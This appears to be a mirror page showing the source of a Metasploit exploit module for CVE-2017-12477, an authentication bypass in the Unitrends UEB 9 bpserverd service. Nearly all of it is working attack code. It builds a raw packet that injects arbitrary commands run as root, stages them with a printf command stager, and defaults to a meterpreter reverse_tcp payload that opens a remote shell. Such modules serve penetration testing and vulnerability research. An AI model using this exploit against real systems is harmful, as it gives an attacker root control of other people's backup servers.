CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/ueb9_bpserverd.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Unitrends UEB bpserverd authentication bypass RCE',
15
'Description' => %q{
16
It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd,
17
has an issue in which its authentication can be bypassed. A remote attacker could use this
18
issue to execute arbitrary commands with root privilege on the target system.
19
},
20
'Author' =>
21
[
22
'Jared Arave', # @iotennui
23
'Cale Smith', # @0xC413
24
'Benny Husted' # @BennyHusted
25
],
26
'License' => MSF_LICENSE,
27
'Platform' => 'linux',
28
'Arch' => [ARCH_X86],
29
'CmdStagerFlavor' => [ 'printf' ],
30
'References' =>
31
[
32
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000CcZeAAK/000005755'],
33
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12477'],
34
['CVE', '2017-12477'],
35
],
36
'Targets' =>
37
[
38
[ 'UEB 9.*', { } ]
39
],
40
'Privileged' => true,
41
'DefaultOptions' => {
42
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
43
'SSL' => false
44
},
45
'DisclosureDate' => '2017-08-08',
46
'DefaultTarget' => 0))
47
register_options([
48
Opt::RPORT(1743)
49
])
50
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
51
end
52
53
def check
54
s1 = connect(global = false)
55
buf1 = s1.get_once(-1).to_s
56
#parse out the bpd port returned
57
bpd_port = buf1[-8..-3].to_i
58
59
#check if it's a valid port number (1-65534)
60
if bpd_port && bpd_port >= 1 && bpd_port <= 65535
61
Exploit::CheckCode::Detected
62
else
63
Exploit::CheckCode::Safe
64
end
65
end
66
67
def execute_command(cmd, opts = {})
68
69
#append a comment, ignore everything after our cmd
70
cmd = cmd + " #"
71
72
# build the attack buffer...
73
command_len = cmd.length + 3
74
packet_len = cmd.length + 23
75
data = "\xa5\x52\x00\x2d"
76
data << "\x00\x00\x00"
77
data << packet_len
78
data << "\x00\x00\x00"
79
data << "\x01"
80
data << "\x00\x00\x00"
81
data << "\x4c"
82
data << "\x00\x00\x00"
83
data << command_len
84
data << cmd
85
data << "\x00\x00\x00"
86
87
begin
88
print_status("Connecting to xinetd for bpd port...")
89
s1 = connect(global = false)
90
buf1 = s1.get_once(-1).to_s
91
92
#parse out the bpd port returned, we will connect back on this port to send our cmd
93
bpd_port = buf1[-8..-3].to_i
94
95
print_good("bpd port received: #{bpd_port}")
96
vprint_status("Connecting to #{bpd_port}")
97
98
s2 = connect(global = false, opts = {'RPORT'=>bpd_port})
99
vprint_good('Connected!')
100
101
print_status('Sending command buffer to xinetd')
102
103
s1.put(data)
104
s2.get_once(-1,1).to_s
105
106
disconnect(s1)
107
disconnect(s2)
108
109
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
110
fail_with(Failure::Unreachable, "#{peer} - Connection to server failed")
111
end
112
113
end
114
115
def exploit
116
print_status("#{peer} - pwn'ng ueb 9....")
117
execute_cmdstager(:linemax => 200)
118
end
119
end
120
121